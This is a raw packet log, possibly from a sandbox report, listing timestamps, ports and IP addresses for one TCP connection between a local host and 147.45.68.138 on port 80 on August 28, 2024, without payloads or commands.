Aug 28, 2024 22:55:52.609637022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609795094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609841108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.633518934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633541107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633552074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633579016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.633614063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.633657932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633670092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633682966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633694887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633707047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.633707047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.633718014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.633753061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653148890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653177023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653199911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653225899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653249979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653271914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653294086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653312922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653317928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653326988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653337955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653340101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653356075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653382063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653448105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653491020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653528929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653542042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653583050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653600931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653620958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653634071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653646946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653661966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653682947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653743982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653785944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.653824091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.653871059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654017925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654027939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654038906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654061079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654069901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654081106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654088974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654093981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654103994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654105902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654118061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654122114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654131889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654138088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654144049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654164076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654177904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654356003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654369116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654392958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654406071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654409885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654426098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654428959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654441118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654453039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654467106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654479980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654640913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654691935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654798031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654808998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654819012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654831886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654843092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654844999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654854059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654865026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.654865980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654894114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.654907942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.655822039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655847073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655863047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655879021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.655895948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.655908108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.655931950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655944109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655957937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655971050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.655976057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.655998945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.656022072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.668526888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668540001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668567896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668580055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668591022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668603897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668617964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668663025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.668697119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.668700933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.668744087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.669450998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669464111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669473886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669514894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.669539928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.669543982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669557095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669569969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669583082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.669586897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.669606924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.669636011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.675826073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.675858974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.675872087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.675911903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.675911903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.675961971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.675973892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.675995111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.676008940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.676012039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.676034927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.676067114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.680388927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680402994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680417061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680449963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680464029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680474043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.680478096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680494070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.680497885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.680520058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.680527925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687674046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687742949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687772036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687784910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687817097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687824965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687836885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687846899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687870979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687882900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687882900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687895060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687905073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687917948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687928915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.687930107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687961102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.687971115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.688163042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.688211918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.688373089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.688386917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.688397884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.688422918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.688446045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.692931890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.692945004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.692991018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.692996979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.693011999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.693037033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.693037033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.693048954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.693056107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.693061113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.693077087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.693092108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.693128109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696080923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696127892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696139097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696142912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696163893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696182966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696198940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696213007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696223974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696249008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696269035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696291924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696341991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.696362972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.696412086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.720565081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720581055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720592022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720602989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720614910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720626116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720637083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720648050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720659018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720669985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720683098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720696926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720707893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720720053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.720859051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.723263025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.723342896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.740119934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740137100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740154028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740168095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740180016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740191936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740205050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740230083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.740269899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.740461111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740506887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.740638971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740650892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740688086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.740770102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.740822077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.741019011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.741091967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.742134094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.742197037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.742295980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.742310047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.742353916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.742695093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.742748976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743179083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743191004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743197918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743210077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743222952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743233919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743236065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743247986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743267059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743278027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743299961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743316889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743338108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743350983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743355036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743362904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743374109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743374109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743386030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743388891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743398905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743410110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743410110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743423939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743434906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743441105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743472099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743478060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743489981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743501902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743514061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743519068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743526936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743544102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743544102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743558884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743567944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743571997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743582964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743597031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743601084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743613958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743624926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743624926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743637085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743638039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743654013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.743669987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.743693113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756238937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756253958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756266117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756314993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756335974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756371975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756383896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756395102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756406069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756412983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756438017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756541967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756555080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756596088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756715059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756727934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756737947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756750107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756767988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756782055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.756851912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.756891966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.757035017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.757050037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.757096052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768637896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768655062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768666029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768760920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768773079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768785000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768795013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768795967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768805981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768815994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768820047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768827915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768836975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768847942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768851995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768860102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768872976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768872976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768887043 CEST	49731	80	192.168.2.7	147.45.68.138
